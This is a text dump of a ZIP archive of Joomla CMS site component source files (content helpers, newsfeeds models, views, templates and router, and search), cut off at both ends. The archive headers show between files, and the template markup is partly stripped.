} } } } if ($language != '*') { $needles['language'] = '*'; return self::_findItem($needles); } $active = $menus->getActive(); if ($active && $active->component == 'com_content') { return $active->id; } return null; } } PKGy>\com_content/helpers/query.phpnuW+Aget('show_vote'); if ($voting) { // calculate voting count $select = ' , ROUND(v.rating_sum / v.rating_count) AS rating, v.rating_count'; $join = ' LEFT JOIN #__content_rating AS v ON a.id = v.content_id'; } else { $select = ''; $join = ''; } $results = array ('select' => $select, 'join' => $join); return $results; } /** * Method to order the intro articles array for ordering * down the columns instead of across. * The layout always lays the introtext articles out across columns. * Array is reordered so that, when articles are displayed in index order * across columns in the layout, the result is that the * desired article ordering is achieved down the columns. * * @param array $articles Array of intro text articles * @param integer $numColumns Number of columns in the layout * * @return array Reordered array to achieve desired ordering down columns * @since 1.6 */ public static function orderDownColumns(&$articles, $numColumns = 1) { $count = count($articles); // just return the same array if there is nothing to change if ($numColumns == 1 || !is_array($articles) || $count <= $numColumns) { $return = $articles; } // we need to re-order the intro articles array else { // we need to preserve the original array keys $keys = array_keys($articles); $maxRows = ceil($count / $numColumns); $numCells = $maxRows * $numColumns; $numEmpty = $numCells - $count; $index = array(); // calculate number of empty cells in the array // fill in all cells of the array // put -1 in empty cells so we can skip later for ($row = 1, $i = 1; $row <= $maxRows; $row++) { for ($col = 1; $col <= $numColumns; $col++) { if ($numEmpty > ($numCells - $i)) { // put -1 in empty cells $index[$row][$col] = -1; } else { // put in zero as placeholder $index[$row][$col] = 0; } $i++; } } // layout the articles in column order, skipping empty cells $i = 0; for ($col = 1; ($col <= $numColumns) && ($i < $count); $col++) { for ($row = 1; ($row <= $maxRows) && ($i < $count); $row++) { if ($index[$row][$col] != - 1) { $index[$row][$col] = $keys[$i]; $i++; } } } // now read the $index back row by row to get articles in right row/col // so that they will actually be ordered down the columns (when read by row in the layout) $return = array(); $i = 0; for ($row = 1; ($row <= $maxRows) && ($i < $count); $row++) { for ($col = 1; ($col <= $numColumns) && ($i < $count); $col++) { $return[$keys[$i]] = $articles[$index[$row][$col]]; $i++; } } } return $return; } } PKGy>\v!com_newsfeeds/models/category.phpnuW+A_params)) { $params = new JRegistry(); $item->params = $params; $params->loadString($item->params); } } return $items; } /** * Method to build an SQL query to load the list data. * * @return string An SQL query * @since 1.6 */ protected function getListQuery() { $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select required fields from the categories. $query->select($this->getState('list.select', 'a.*')); $query->from($db->quoteName('#__newsfeeds').' AS a'); $query->where('a.access IN ('.$groups.')'); // Filter by category. if ($categoryId = $this->getState('category.id')) { $query->where('a.catid = '.(int) $categoryId); $query->join('LEFT', '#__categories AS c ON c.id = a.catid'); $query->where('c.access IN ('.$groups.')'); } // Filter by state $state = $this->getState('filter.published'); if (is_numeric($state)) { $query->where('a.published = '.(int) $state); } // Filter by start and end dates. $nullDate = $db->Quote($db->getNullDate()); $date = JFactory::getDate(); $nowDate = $db->Quote($date->format($db->getDateFormat())); if ($this->getState('filter.publish_date')){ $query->where('(a.publish_up = ' . $nullDate . ' OR a.publish_up <= ' . $nowDate . ')'); $query->where('(a.publish_down = ' . $nullDate . ' OR a.publish_down >= ' . $nowDate . ')'); } // Filter by language if ($this->getState('filter.language')) { $query->where('a.language in ('.$db->Quote(JFactory::getLanguage()->getTag()).','.$db->Quote('*').')'); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.ordering')).' '.$db->escape($this->getState('list.direction', 'ASC'))); return $query; } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @since 1.6 */ protected function populateState($ordering = null, $direction = null) { // Initialise variables. $app = JFactory::getApplication(); $params = JComponentHelper::getParams('com_newsfeeds'); // List state information $limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->getCfg('list_limit'), 'uint'); $this->setState('list.limit', $limit); $limitstart = JRequest::getUInt('limitstart', 0); $this->setState('list.start', $limitstart); $orderCol = JRequest::getCmd('filter_order', 'ordering'); if (!in_array($orderCol, $this->filter_fields)) { $orderCol = 'ordering'; } $this->setState('list.ordering', $orderCol); $listOrder = JRequest::getCmd('filter_order_Dir', 'ASC'); if (!in_array(strtoupper($listOrder), array('ASC', 'DESC', ''))) { $listOrder = 'ASC'; } $this->setState('list.direction', $listOrder); $id = JRequest::getVar('id', 0, '', 'int'); $this->setState('category.id', $id); $user = JFactory::getUser(); if ((!$user->authorise('core.edit.state', 'com_newsfeeds')) && (!$user->authorise('core.edit', 'com_newsfeeds'))){ // limit to published for people who can't edit or edit.state. $this->setState('filter.published', 1); // Filter by start and end dates. $this->setState('filter.publish_date', true); } $this->setState('filter.language', $app->getLanguageFilter()); // Load the parameters. $this->setState('params', $params); } /** * Method to get category data for the current category * * @param int An optional ID * * @return object * @since 1.5 */ public function getCategory() { if(!is_object($this->_item)) { $app = JFactory::getApplication(); $menu = $app->getMenu(); $active = $menu->getActive(); $params = new JRegistry(); if($active) { $params->loadString($active->params); } $options = array(); $options['countItems'] = $params->get('show_cat_items', 1) || $params->get('show_empty_categories', 0); $categories = JCategories::getInstance('Newsfeeds', $options); $this->_item = $categories->get($this->getState('category.id', 'root')); if(is_object($this->_item)) { $this->_children = $this->_item->getChildren(); $this->_parent = false; if($this->_item->getParent()) { $this->_parent = $this->_item->getParent(); } $this->_rightsibling = $this->_item->getSibling(); $this->_leftsibling = $this->_item->getSibling(false); } else { $this->_children = false; $this->_parent = false; } } return $this->_item; } /** * Get the parent category. * * @param int An optional category id. If not supplied, the model state 'category.id' will be used. * * @return mixed An array of categories or false if an error occurs. */ public function getParent() { if (!is_object($this->_item)) { $this->getCategory(); } return $this->_parent; } /** * Get the sibling (adjacent) categories. * * @return mixed An array of categories or false if an error occurs. */ function &getLeftSibling() { if (!is_object($this->_item)) { $this->getCategory(); } return $this->_leftsibling; } function &getRightSibling() { if(!is_object($this->_item)) { $this->getCategory(); } return $this->_rightsibling; } /** * Get the child categories. * * @param int An optional category id. If not supplied, the model state 'category.id' will be used. * * @return mixed An array of categories or false if an error occurs. */ function &getChildren() { if(!is_object($this->_item)) { $this->getCategory(); } return $this->_children; } } PKGy>\ #com_newsfeeds/models/categories.phpnuW+AsetState('filter.extension', $this->_extension); // Get the parent id if defined. $parentId = JRequest::getInt('id'); $this->setState('filter.parentId', $parentId); $params = $app->getParams(); $this->setState('params', $params); $this->setState('filter.published', 1); $this->setState('filter.access', true); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.extension'); $id .= ':'.$this->getState('filter.published'); $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.parentId'); return parent::getStoreId($id); } /** * redefine the function an add some properties to make the styling more easy * * @return mixed An array of data items on success, false on failure. */ public function getItems() { if(!count($this->_items)) { $app = JFactory::getApplication(); $menu = $app->getMenu(); $active = $menu->getActive(); $params = new JRegistry(); if($active) { $params->loadString($active->params); } $options = array(); $options['countItems'] = $params->get('show_cat_items_cat', 1) || !$params->get('show_empty_categories_cat', 0); $categories = JCategories::getInstance('Newsfeeds', $options); $this->_parent = $categories->get($this->getState('filter.parentId', 'root')); if(is_object($this->_parent)) { $this->_items = $this->_parent->getChildren(); } else { $this->_items = false; } } return $this->_items; } public function getParent() { if(!is_object($this->_parent)) { $this->getItems(); } return $this->_parent; } } PKGy>\V'com_newsfeeds/views/category/index.htmlnuW+A PKGy>\)&com_newsfeeds/views/category/.htaccessnuW+A Order allow,deny Deny from all PKGy>\c}S##*com_newsfeeds/views/category/view.html.phpnuW+AgetParams(); // Get some data from the models $state = $this->get('State'); $items = $this->get('Items'); $category = $this->get('Category'); $children = $this->get('Children'); $parent = $this->get('Parent'); $pagination = $this->get('Pagination'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } if ($category == false) { return JError::raiseError(404, JText::_('JGLOBAL_CATEGORY_NOT_FOUND')); } if ($parent == false) { return JError::raiseError(404, JText::_('JGLOBAL_CATEGORY_NOT_FOUND')); } // Check whether category access level allows access. $groups = $user->getAuthorisedViewLevels(); if (!in_array($category->access, $groups)) { return JError::raiseError(403, JText::_('JERROR_ALERTNOAUTHOR')); } // Prepare the data. // Compute the newsfeed slug. for ($i = 0, $n = count($items); $i < $n; $i++) { $item = &$items[$i]; $item->slug = $item->alias ? ($item->id.':'.$item->alias) : $item->id; $temp = new JRegistry(); $temp->loadString($item->params); $item->params = clone($params); $item->params->merge($temp); } // Setup the category parameters. $cparams = $category->getParams(); $category->params = clone($params); $category->params->merge($cparams); $children = array($category->id => $children); //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); $maxLevel = $params->get('maxLevel', -1); $this->assignRef('maxLevel', $maxLevel); $this->assignRef('state', $state); $this->assignRef('items', $items); $this->assignRef('category', $category); $this->assignRef('children', $children); $this->assignRef('params', $params); $this->assignRef('parent', $parent); $this->assignRef('pagination', $pagination); // Check for layout override only if this is not the active menu item // If it is the active menu item, then the view and category id will match $active = $app->getMenu()->getActive(); if ((!$active) || ((strpos($active->link, 'view=category') === false) || (strpos($active->link, '&id=' . (string) $this->category->id) === false))) { if ($layout = $category->params->get('category_layout')) { $this->setLayout($layout); } } elseif (isset($active->query['layout'])) { // We need to set the layout in case this is an alternative menu item (with an alternative layout) $this->setLayout($active->query['layout']); } $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document */ protected function _prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $pathway = $app->getPathway(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('COM_NEWSFEEDS_DEFAULT_PAGE_TITLE')); } $id = (int) @$menu->query['id']; if ($menu && ($menu->query['option'] != 'com_newsfeeds' || $menu->query['view'] == 'newsfeed' || $id != $this->category->id)) { $path = array(array('title' => $this->category->title, 'link' => '')); $category = $this->category->getParent(); while (($menu->query['option'] != 'com_newsfeeds' || $menu->query['view'] == 'newsfeed' || $id != $category->id) && $category->id > 1) { $path[] = array('title' => $category->title, 'link' => NewsfeedsHelperRoute::getCategoryRoute($category->id)); $category = $category->getParent(); } $path = array_reverse($path); foreach($path as $item) { $pathway->addItem($item['title'], $item['link']); } } $title = $this->params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($this->category->metadesc) { $this->document->setDescription($this->category->metadesc); } elseif (!$this->category->metadesc && $this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->category->metakey) { $this->document->setMetadata('keywords', $this->category->metakey); } elseif (!$this->category->metakey && $this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } if ($app->getCfg('MetaAuthor') == '1') { $this->document->setMetaData('author', $this->category->getMetadata()->get('author')); } $mdata = $this->category->getMetadata()->toArray(); foreach ($mdata as $k => $v) { if ($v) { $this->document->setMetadata($k, $v); } } } } PKGy>\]J)com_newsfeeds/views/category/metadata.xmlnuW+A PKGy>\N-com_newsfeeds/views/category/tmpl/default.xmlnuW+A
            PKGy>\r .VV-com_newsfeeds/views/category/tmpl/default.phpnuW+Aparams->get('pageclass_sfx'); ?>
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading')); ?>

            params->get('show_category_title', 1)) : ?>

            category->title, '', 'com_newsfeeds.category'); ?>

            params->get('show_description', 1) || $this->params->def('show_description_image', 1)) : ?>
            params->get('show_description_image') && $this->category->getParams()->get('image')) : ?> params->get('show_description') && $this->category->description) : ?> category->description, '', 'com_newsfeeds.category'); ?>
            loadTemplate('items'); ?> children[$this->category->id])&& $this->maxLevel != 0) : ?>

            loadTemplate('children'); ?>
            PKGy>\^ 3com_newsfeeds/views/category/tmpl/default_items.phpnuW+Aitems); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?> items)) : ?>

            params->get('show_pagination_limit')) : ?>
              pagination->getLimitBox(); ?>
            params->get('show_headings')==1) : ?> params->get('show_articles')) : ?> params->get('show_link')) : ?> items as $i => $item) : ?> items[$i]->published == 0) : ?> params->get('show_articles')) : ?> params->get('show_link')) : ?>
            name; ?> numarticles; ?>
            params->get('show_pagination')) : ?>
            PKGy>\Iք6com_newsfeeds/views/category/tmpl/default_children.phpnuW+Achildren[$this->category->id]) > 0 && $this->maxLevel != 0) : ?>
              children[$this->category->id] as $id => $child) : ?> params->get('show_empty_categories') || $child->numitems || count($child->getChildren())) : if(!isset($this->children[$this->category->id][$id + 1])) { $class = ' class="last"'; } ?> > escape($child->title); ?> params->get('show_subcat_desc') == 1) :?> description) : ?>
              description, '', 'com_newsfeeds.category'); ?>
              params->get('show_cat_items') == 1) :?>
              numitems; ?>
              getChildren()) > 0) : $this->children[$child->id] = $child->getChildren(); $this->category = $child; $this->maxLevel--; echo $this->loadTemplate('children'); $this->category = $child->getParent(); $this->maxLevel++; endif; ?>
            \V,com_newsfeeds/views/category/tmpl/index.htmlnuW+A PKGy>\)+com_newsfeeds/views/category/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\55com_newsfeeds/views/categories/tmpl/default_items.phpnuW+Aitems[$this->parent->id]) > 0 && $this->maxLevelcat != 0) : ?>
              items[$this->parent->id] as $id => $item) : ?> params->get('show_empty_categories_cat') || $item->numitems || count($item->getChildren())) : if(!isset($this->items[$this->parent->id][$id + 1])) { $class = ' class="last"'; } ?> > escape($item->title); ?> params->get('show_subcat_desc_cat') == 1) :?> description) : ?>
              description, '', 'com_newsfeeds.categories'); ?>
              params->get('show_cat_items_cat') == 1) :?>
              numitems; ?>
              getChildren()) > 0) : $this->items[$item->id] = $item->getChildren(); $this->parent = $item; $this->maxLevelcat--; echo $this->loadTemplate('items'); $this->parent = $item->getParent(); $this->maxLevelcat++; endif; ?>
            PKGy>\V.com_newsfeeds/views/categories/tmpl/index.htmlnuW+A PKGy>\ڗ../com_newsfeeds/views/categories/tmpl/default.phpnuW+A
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading')); ?>

            params->get('show_base_description')) : ?> params->get('categories_description')) : ?>
            params->get('categories_description'), '', 'com_newsfeeds.categories'); ?>
            parent->description) : ?>
            parent->description, '', 'com_newsfeeds.categories'); ?>
            loadTemplate('items'); ?>
            PKGy>\)-com_newsfeeds/views/categories/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\hj4t /com_newsfeeds/views/categories/tmpl/default.xmlnuW+A
            PKGy>\V)com_newsfeeds/views/categories/index.htmlnuW+A PKGy>\)(com_newsfeeds/views/categories/.htaccessnuW+A Order allow,deny Deny from all PKGy>\ue ,com_newsfeeds/views/categories/view.html.phpnuW+Aget('State'); $items = $this->get('Items'); $parent = $this->get('Parent'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseWarning(500, implode("\n", $errors)); return false; } if($items === false) { return JError::raiseError(404, JText::_('JGLOBAL_CATEGORY_NOT_FOUND')); } if($parent == false) { return JError::raiseError(404, JText::_('JGLOBAL_CATEGORY_NOT_FOUND')); } $params = &$state->params; $items = array($parent->id => $items); //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); $this->maxLevelcat = $params->get('maxLevelcat', -1); $this->assignRef('params', $params); $this->assignRef('parent', $parent); $this->assignRef('items', $items); $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document */ protected function _prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('COM_NEWSFEEDS_DEFAULT_PAGE_TITLE')); } $title = $this->params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } } } PKGy>\Kb  -com_newsfeeds/views/newsfeed/tmpl/default.phpnuW+A newsfeed->rtl; $direction = " "; if ($lang->isRTL() && $myrtl == 0) { $direction = " redirect-rtl"; } elseif ($lang->isRTL() && $myrtl == 1) { $direction = " redirect-ltr"; } elseif ($lang->isRTL() && $myrtl == 2) { $direction = " redirect-rtl"; } elseif ($myrtl == 0) { $direction = " redirect-ltr"; } elseif ($myrtl == 1) { $direction = " redirect-ltr"; } elseif ($myrtl == 2) { $direction = " redirect-rtl"; } ?>
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading')); ?>

            newsfeed->channel['title']); ?>

            params->get('show_feed_description')) : ?>
            newsfeed->channel['description']); ?>
            newsfeed->image['url']) && isset($this->newsfeed->image['title']) && $this->params->get('show_feed_image')) : ?>
            <?php echo $this->newsfeed->image['title']; ?>
              newsfeed->items as $item) : ?>
            1. get_link())) : ?> get_title(); ?> params->get('show_item_description') && $item->get_description()) : ?>
              get_description(); if($this->params->get('show_feed_image', 0) == 0) { $text = JFilterOutput::stripImages($text); } $text = JHtml::_('string.truncate', $text, $this->params->get('feed_character_count')); echo str_replace(''', "'", $text); ?>
            PKGy>\ڛ(nx x -com_newsfeeds/views/newsfeed/tmpl/default.xmlnuW+A
            PKGy>\2v)com_newsfeeds/views/newsfeed/metadata.xmlnuW+A PKGy>\+ com_newsfeeds/helpers/route.phpnuW+A array((int) $id) ); //Create the link $link = 'index.php?option=com_newsfeeds&view=newsfeed&id='. $id; if ((int)$catid > 1) { $categories = JCategories::getInstance('Newsfeeds'); $category = $categories->get((int)$catid); if ($category) { //TODO Throw error that the category either not exists or is unpublished $needles['category'] = array_reverse($category->getPath()); $needles['categories'] = $needles['category']; $link .= '&catid='.$catid; } } if ($item = self::_findItem($needles)) { $link .= '&Itemid='.$item; } return $link; } public static function getCategoryRoute($catid) { if ($catid instanceof JCategoryNode) { $id = $catid->id; $category = $catid; } else { $id = (int) $catid; $category = JCategories::getInstance('Newsfeeds')->get($id); } if ($id < 1 || !($category instanceof JCategoryNode)) { $link = ''; } else { $needles = array(); //Create the link $link = 'index.php?option=com_newsfeeds&view=category&id='.$id; $catids = array_reverse($category->getPath()); $needles['category'] = $catids; $needles['categories'] = $catids; if ($item = self::_findItem($needles)) { $link .= '&Itemid='.$item; } } return $link; } protected static function _findItem($needles = null) { $app = JFactory::getApplication(); $menus = $app->getMenu('site'); // Prepare the reverse lookup array. if (self::$lookup === null) { self::$lookup = array(); $component = JComponentHelper::getComponent('com_newsfeeds'); $items = $menus->getItems('component_id', $component->id); foreach ($items as $item) { if (isset($item->query) && isset($item->query['view'])) { $view = $item->query['view']; if (!isset(self::$lookup[$view])) { self::$lookup[$view] = array(); } if (isset($item->query['id'])) { self::$lookup[$view][$item->query['id']] = $item->id; } } } } if ($needles) { foreach ($needles as $view => $ids) { if (isset(self::$lookup[$view])) { foreach($ids as $id) { if (isset(self::$lookup[$view][(int)$id])) { return self::$lookup[$view][(int)$id]; } } } } } $active = $menus->getActive(); if ($active) { return $active->id; } return null; } } PKGy>\CNa"com_newsfeeds/helpers/category.phpnuW+A\==com_newsfeeds/metadata.xmlnuW+A PKGy>\Osscom_newsfeeds/router.phpnuW+AgetMenu(); $params = JComponentHelper::getParams('com_newsfeeds'); $advanced = $params->get('sef_advanced_link', 0); if (empty($query['Itemid'])) { $menuItem = $menu->getActive(); } else { $menuItem = $menu->getItem($query['Itemid']); } $mView = (empty($menuItem->query['view'])) ? null : $menuItem->query['view']; $mCatid = (empty($menuItem->query['catid'])) ? null : $menuItem->query['catid']; $mId = (empty($menuItem->query['id'])) ? null : $menuItem->query['id']; if (isset($query['view'])) { $view = $query['view']; if (empty($query['Itemid'])) { $segments[] = $query['view']; } unset($query['view']); }; // are we dealing with an newsfeed that is attached to a menu item? if (isset($query['view']) && ($mView == $query['view']) and (isset($query['id'])) and ($mId == intval($query['id']))) { unset($query['view']); unset($query['catid']); unset($query['id']); return $segments; } if (isset($view) and ($view == 'category' or $view == 'newsfeed')) { if ($mId != intval($query['id']) || $mView != $view) { if($view == 'newsfeed' && isset($query['catid'])) { $catid = $query['catid']; } elseif(isset($query['id'])) { $catid = $query['id']; } $menuCatid = $mId; $categories = JCategories::getInstance('Newsfeeds'); $category = $categories->get($catid); if ($category) { $path = $category->getPath(); $path = array_reverse($path); $array = array(); foreach($path as $id) { if((int) $id == (int)$menuCatid) { break; } if($advanced) { list($tmp, $id) = explode(':', $id, 2); } $array[] = $id; } $segments = array_merge($segments, array_reverse($array)); } if($view == 'newsfeed') { if($advanced) { list($tmp, $id) = explode(':', $query['id'], 2); } else { $id = $query['id']; } $segments[] = $id; } } unset($query['id']); unset($query['catid']); } if (isset($query['layout'])) { if (!empty($query['Itemid']) && isset($menuItem->query['layout'])) { if ($query['layout'] == $menuItem->query['layout']) { unset($query['layout']); } } else { if ($query['layout'] == 'default') { unset($query['layout']); } } }; return $segments; } /** * Parse the segments of a URL. * * @param array The segments of the URL to parse. * * @return array The URL attributes to be used by the application. */ function NewsfeedsParseRoute($segments) { $vars = array(); //Get the active menu item. $app = JFactory::getApplication(); $menu = $app->getMenu(); $item = $menu->getActive(); $params = JComponentHelper::getParams('com_newsfeeds'); $advanced = $params->get('sef_advanced_link', 0); // Count route segments $count = count($segments); // Standard routing for newsfeeds. if (!isset($item)) { $vars['view'] = $segments[0]; $vars['id'] = $segments[$count - 1]; return $vars; } // From the categories view, we can only jump to a category. $id = (isset($item->query['id']) && $item->query['id'] > 1) ? $item->query['id'] : 'root'; $categories = JCategories::getInstance('Newsfeeds')->get($id)->getChildren(); $vars['catid'] = $id; $vars['id'] = $id; $found = 0; foreach($segments as $segment) { $segment = $advanced ? str_replace(':', '-', $segment) : $segment; foreach($categories as $category) { if ($category->slug == $segment || $category->alias == $segment) { $vars['id'] = $category->id; $vars['catid'] = $category->id; $vars['view'] = 'category'; $categories = $category->getChildren(); $found = 1; break; } } if ($found == 0) { if($advanced) { $db = JFactory::getDBO(); $query = 'SELECT id FROM #__newsfeeds WHERE catid = '.$vars['catid'].' AND alias = '.$db->Quote($segment); $db->setQuery($query); $nid = $db->loadResult(); } else { $nid = $segment; } $vars['id'] = $nid; $vars['view'] = 'newsfeed'; } $found = 0; } return $vars; } PKGy>\C[[com_search/models/search.phpnuW+AsetState('limit', $app->getUserStateFromRequest('com_search.limit', 'limit', $config->get('list_limit'), 'uint')); $this->setState('limitstart', JRequest::getUInt('limitstart', 0)); // Get parameters. $params = $app->getParams(); if ($params->get('searchphrase') == 1) { $searchphrase = 'any'; } elseif ($params->get('searchphrase') == 2) { $searchphrase = 'exact'; } else { $searchphrase = 'all'; } // Set the search parameters $keyword = urldecode(JRequest::getString('searchword')); $match = JRequest::getWord('searchphrase', $searchphrase); $ordering = JRequest::getWord('ordering', $params->get('ordering', 'newest')); $this->setSearch($keyword, $match, $ordering); //Set the search areas $areas = JRequest::getVar('areas'); $this->setAreas($areas); } /** * Method to set the search parameters * * @access public * @param string search string * @param string mathcing option, exact|any|all * @param string ordering option, newest|oldest|popular|alpha|category */ function setSearch($keyword, $match = 'all', $ordering = 'newest') { if (isset($keyword)) { $this->setState('origkeyword', $keyword); if($match !== 'exact') { $keyword = preg_replace('#\xE3\x80\x80#s', ' ', $keyword); } $this->setState('keyword', $keyword); } if (isset($match)) { $this->setState('match', $match); } if (isset($ordering)) { $this->setState('ordering', $ordering); } } /** * Method to set the search areas * * @access public * @param array Active areas * @param array Search areas */ function setAreas($active = array(), $search = array()) { $this->_areas['active'] = $active; $this->_areas['search'] = $search; } /** * Method to get weblink item data for the category * * @access public * @return array */ function getData() { // Lets load the content if it doesn't already exist if (empty($this->_data)) { $areas = $this->getAreas(); JPluginHelper::importPlugin('search'); $dispatcher = JDispatcher::getInstance(); $results = $dispatcher->trigger('onContentSearch', array( $this->getState('keyword'), $this->getState('match'), $this->getState('ordering'), $areas['active']) ); $rows = array(); foreach ($results as $result) { $rows = array_merge((array) $rows, (array) $result); } $this->_total = count($rows); if ($this->getState('limit') > 0) { $this->_data = array_splice($rows, $this->getState('limitstart'), $this->getState('limit')); } else { $this->_data = $rows; } } return $this->_data; } /** * Method to get the total number of weblink items for the category * * @access public * @return integer */ function getTotal() { return $this->_total; } /** * Method to get a pagination object of the weblink items for the category * * @access public * @return integer */ function getPagination() { // Lets load the content if it doesn't already exist if (empty($this->_pagination)) { jimport('joomla.html.pagination'); $this->_pagination = new JPagination($this->getTotal(), $this->getState('limitstart'), $this->getState('limit')); } return $this->_pagination; } /** * Method to get the search areas * * @since 1.5 */ function getAreas() { // Load the Category data if (empty($this->_areas['search'])) { $areas = array(); JPluginHelper::importPlugin('search'); $dispatcher = JDispatcher::getInstance(); $searchareas = $dispatcher->trigger('onContentSearchAreas'); foreach ($searchareas as $area) { if (is_array($area)) { $areas = array_merge($areas, $area); } } $this->_areas['search'] = $areas; } return $this->_areas; } } PKGy>\]%com_search/views/search/view.html.phpnuW+AgetPathway(); $uri = JFactory::getURI(); $error = null; $rows = null; $results= null; $total = 0; // Get some data from the model $areas = $this->get('areas'); $state = $this->get('state'); $searchword = $state->get('keyword'); $params = $app->getParams(); $menus = $app->getMenu(); $menu = $menus->getActive(); // because the application sets a default page title, we need to get it // right from the menu item itself if (is_object($menu)) { $menu_params = new JRegistry; $menu_params->loadString($menu->params); if (!$menu_params->get('page_title')) { $params->set('page_title', JText::_('COM_SEARCH_SEARCH')); } } else { $params->set('page_title', JText::_('COM_SEARCH_SEARCH')); } $title = $params->get('page_title'); if ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($params->get('menu-meta_description')) { $this->document->setDescription($params->get('menu-meta_description')); } if ($params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $params->get('menu-meta_keywords')); } if ($params->get('robots')) { $this->document->setMetadata('robots', $params->get('robots')); } // built select lists $orders = array(); $orders[] = JHtml::_('select.option', 'newest', JText::_('COM_SEARCH_NEWEST_FIRST')); $orders[] = JHtml::_('select.option', 'oldest', JText::_('COM_SEARCH_OLDEST_FIRST')); $orders[] = JHtml::_('select.option', 'popular', JText::_('COM_SEARCH_MOST_POPULAR')); $orders[] = JHtml::_('select.option', 'alpha', JText::_('COM_SEARCH_ALPHABETICAL')); $orders[] = JHtml::_('select.option', 'category', JText::_('JCATEGORY')); $lists = array(); $lists['ordering'] = JHtml::_('select.genericlist', $orders, 'ordering', 'class="inputbox"', 'value', 'text', $state->get('ordering')); $searchphrases = array(); $searchphrases[] = JHtml::_('select.option', 'all', JText::_('COM_SEARCH_ALL_WORDS')); $searchphrases[] = JHtml::_('select.option', 'any', JText::_('COM_SEARCH_ANY_WORDS')); $searchphrases[] = JHtml::_('select.option', 'exact', JText::_('COM_SEARCH_EXACT_PHRASE')); $lists['searchphrase' ]= JHtml::_('select.radiolist', $searchphrases, 'searchphrase', '', 'value', 'text', $state->get('match')); // log the search SearchHelper::logSearch($searchword); //limit searchword $lang = JFactory::getLanguage(); $upper_limit = $lang->getUpperLimitSearchWord(); $lower_limit = $lang->getLowerLimitSearchWord(); if (SearchHelper::limitSearchWord($searchword)) { $error = JText::sprintf('COM_SEARCH_ERROR_SEARCH_MESSAGE', $lower_limit, $upper_limit); } //sanatise searchword if (SearchHelper::santiseSearchWord($searchword, $state->get('match'))) { $error = JText::_('COM_SEARCH_ERROR_IGNOREKEYWORD'); } if (!$searchword && count(JRequest::get('post'))) { //$error = JText::_('COM_SEARCH_ERROR_ENTERKEYWORD'); } // put the filtered results back into the model // for next release, the checks should be done in the model perhaps... $state->set('keyword', $searchword); if ($error == null) { $results = $this->get('data'); $total = $this->get('total'); $pagination = $this->get('pagination'); require_once JPATH_SITE . '/components/com_content/helpers/route.php'; for ($i=0, $count = count($results); $i < $count; $i++) { $row = &$results[$i]->text; if ($state->get('match') == 'exact') { $searchwords = array($searchword); $needle = $searchword; } else { $searchworda = preg_replace('#\xE3\x80\x80#s', ' ', $searchword); $searchwords = preg_split("/\s+/u", $searchworda); $needle = $searchwords[0]; } $row = SearchHelper::prepareSearchContent($row, $needle); $searchwords = array_unique($searchwords); $searchRegex = '#('; $x = 0; foreach ($searchwords as $k => $hlword) { $searchRegex .= ($x == 0 ? '' : '|'); $searchRegex .= preg_quote($hlword, '#'); $x++; } $searchRegex .= ')#iu'; $row = preg_replace($searchRegex, '\0', $row); $result = &$results[$i]; if ($result->created) { $created = JHtml::_('date', $result->created, JText::_('DATE_FORMAT_LC3')); } else { 